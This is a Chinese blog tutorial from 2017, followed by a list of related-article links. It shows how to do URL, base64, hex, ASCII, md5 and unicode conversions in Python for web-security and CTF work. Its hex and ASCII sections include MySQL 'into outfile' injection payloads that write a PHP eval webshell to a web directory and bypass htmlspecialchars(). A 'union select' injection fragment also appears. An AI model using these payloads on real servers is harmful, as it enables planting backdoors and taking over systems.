python妙用之编码的转换详解


Posted in Python onApril 21, 2017

前言

记得刚入门那个时候,自己处理编码转换问题往往是“百度:url解码、base64加密、hex……”,或者是使用一款叫做“小葵多功能转换工具”的软件,再后来直接上Burpsuite的decoder功能,感觉用的还挺好的。不过,也遇到些问题:在线转换效率低(搜索占去了2/3的时间)、两款工具存在一些小问题,比如burp中涉及中文往往显示乱码。

python妙用之编码的转换详解

python妙用之编码的转换详解

直到使用python来作为我日常编码转换工具……

开启py转换之旅

url编码

url编码是一种浏览器用来打包表单输入的格式.可谓是一名作为web人员最熟悉的一种编码方式了。

>>> from urllib import *
>>> quote("union select null,null,null")
'union%20select%20null%2Cnull%2Cnull'
>>> unquote("union%20select%20null%2Cnull%2Cnull")
'union select null,null,null'
>>> urlencode({'x':'2333','y':'666'})
'y=666&x=2333'

Base64

Base64常常用作网页表单和HTTP传输的一些参数,也常用于邮件协议传输用户信息等。

>>> import base64
>>> base64.b64encode("admin")
'YWRtaW4='
>>> base64.b64decode('YWRtaW4=')
'admin'

记得有次ctf比赛中考到了base32解密,一般网站不提供在线解密,一时之间貌似没有办法继续下去。不过如果你使用python的话会像上边解密base64一样简单,只需要将函数改变下:

>>> import base64
>>> base64.b32encode('jjjjj')
'NJVGU2TK'
>>> base64.b32decode('NJVGU2TK')
'jjjjj'

Hex

十六进制编码也是web application中常见的一种编码方案。作为一名web安全人员,我们心知肚明的是,MySQL注入可以使用hex绕过htmlspecialchars()函数从而写入webshell。

比如:

select 0x3c3f70687020406576616c28245f504f53545b615d293b203f3e into outfile '/web/1.php'

下面是python实现hex加解密的方法:

>>> '<?php @eval($_POST[a]); ?>'.encode('hex')
'3c3f70687020406576616c28245f504f53545b615d293b203f3e'
>>>
>>> print '3c3f70687020406576616c28245f504f53545b615d293b203f3e'.decode('hex')
<?php @eval($_POST[a]); ?>
>>>

ASCii

MySQL中的char()函数则是转换ascii码的,正因如此,也可以使用这个特性来绕过htmlspecialchars()函数。

比如:

select char(60, 63, 112, 104, 112, 32, 64, 101, 118, 97, 108, 40, 36, 95, 80, 79, 83, 84, 91, 97, 93, 41, 59, 32, 63, 62) into outfile '/web/1.php'

使用python将字符串转换ascii很简单,但是逆转换的话需要需要点小操作:

>>> map(ord, "<?php phpinfo() ?>")
[60, 63, 112, 104, 112, 32, 112, 104, 112, 105, 110, 102, 111, 40, 41, 32, 63, 62]

>>> print chr(112)
p

>>> l = [60, 63, 112, 104, 112, 32, 112, 104, 112, 105, 110, 102, 111, 40, 41, 32, 63, 62]
>>> print ''.join(map(chr,l)) #感谢pcat表哥指出的方法
<?php phpinfo() ?>

Md5

md5在web安全界可以说是人尽皆知了,以他的不可逆性,大多数网站存储用户密码等关键数据时常常使用md5加密。有的时候我们提交payload需要md5加密,这个时候用下面的方法就可以轻松实现。当然解密的话推荐去cmd5。

>>> from hashlib import md5
>>> m = md5()
>>> m.update('this is a secret')
>>> m.hexdigest()
'7dbbcee180ba4d456e4aa1cfbdad9c7b'

>>> m.hexdigest()[8:-8]
'80ba4d456e4aa1cf'
>>>

Unicode转中文

unicode转换中文,很多情况下都能遇到。尤其是在做渗透测试的时候。用burp的话会存在中文乱码的问题,在python下实现非常简单。

>>> print u"\u4f60\u9700\u8981\u91cd\u65b0\u767b\u9646"
你需要重新登陆

总结

python实际上在实际使用中非常方便,编码转换只是其中一个例子。文中提到的编码转换皆为笔者日常积累,如果有没有涉及到的地方,欢迎评论补充。好了,以上就是这篇文章的全部内容了,希望本文的内容对大家的学习或者工作能带来一定的帮助,如果有疑问大家可以留言交流,谢谢大家对三水点靠木的支持。

Python 相关文章推荐
学习python (2)
Oct 31 Python
在Django中进行用户注册和邮箱验证的方法
May 09 Python
python中实现指定时间调用函数示例代码
Sep 08 Python
PyQt实现界面翻转切换效果
Apr 20 Python
python实现五子棋游戏
Jun 18 Python
简单了解python反射机制的一些知识
Jul 13 Python
Django对接支付宝实现支付宝充值金币功能示例
Dec 17 Python
python脚本后台执行方式
Dec 21 Python
python中Django文件上传方法详解
Aug 05 Python
基于OpenCV的网络实时视频流传输的实现
Nov 15 Python
Python logging自定义字段输出及打印颜色
Nov 30 Python
据Python爬虫不靠谱预测可知今年双十一销售额将超过6000亿元
Nov 11 Python
简单谈谈Python中的元祖(Tuple)和字典(Dict)
Apr 21 #Python
Python学习笔记之解析json的方法分析
Apr 21 #Python
Python正则抓取网易新闻的方法示例
Apr 21 #Python
Python中shape计算矩阵的方法示例
Apr 21 #Python
Python使用正则表达式抓取网页图片的方法示例
Apr 21 #Python
用python找出那些被“标记”的照片
Apr 20 #Python
python实现12306火车票查询器
Apr 20 #Python
You might like
PHP获取用户的浏览器与操作系统信息的代码
2012/09/04 PHP
php获取服务器端mac和客户端mac的地址支持WIN/LINUX
2014/05/15 PHP
php中数字、字符与对象判断函数用法实例
2014/11/26 PHP
PHP区块查询实现方法分析
2018/05/12 PHP
jquery.Jwin.js 基于jquery的弹出层插件代码
2012/05/23 Javascript
Chosen 基于jquery的选择框插件使用方法
2012/05/30 Javascript
javascript实现自动输出文本(打字特效)
2015/08/27 Javascript
js仿微博实现统计字符和本地存储功能
2015/12/22 Javascript
微信小程序 支付简单实例及注意事项
2017/01/06 Javascript
JavaScript实现前端实时搜索功能
2020/03/26 Javascript
JavaScript该如何学习 怎样轻松学习JavaScript
2017/06/12 Javascript
angularjs之$timeout指令详解
2017/06/13 Javascript
vue一步步实现alert功能
2017/07/05 Javascript
iframe与主框架跨域相互访问实现方法
2017/09/14 Javascript
AngularJS集合数据遍历显示的实例
2017/12/27 Javascript
angular写一个列表的选择全选交互组件的示例
2018/01/22 Javascript
vue 全选与反选的实现方法(无Bug 新手看过来)
2018/02/09 Javascript
js中el表达式的使用和非空判断方法
2018/03/28 Javascript
Vue CLI项目 axios模块前后端交互的使用(类似ajax提交)
2019/09/01 Javascript
video.js添加自定义组件的方法
2020/12/09 Javascript
[01:23]一分钟告诉你 DOTA2为什么叫信仰2
2014/06/20 DOTA
Python django实现简单的邮件系统发送邮件功能
2017/07/14 Python
python 内置函数汇总详解
2019/09/16 Python
Python绘图之二维图与三维图详解
2020/08/04 Python
优秀学生自我鉴定范例
2013/12/18 职场文书
会计职业生涯规划书
2014/01/13 职场文书
大学生咖啡店创业计划书
2014/01/21 职场文书
初中英语教学反思
2014/01/25 职场文书
遗产继承公证书
2014/04/09 职场文书
导游个人求职信
2014/04/25 职场文书
设立有限责任公司出资协议书
2014/11/01 职场文书
前台文员岗位职责
2015/02/04 职场文书
银行招聘自荐信
2015/03/06 职场文书
求职简历自我评价2015
2015/03/10 职场文书
读《人生的智慧》有感:闲暇是人生的精华
2019/12/25 职场文书
Android存储中最基本的文件存储方式
2022/04/30 Java/Android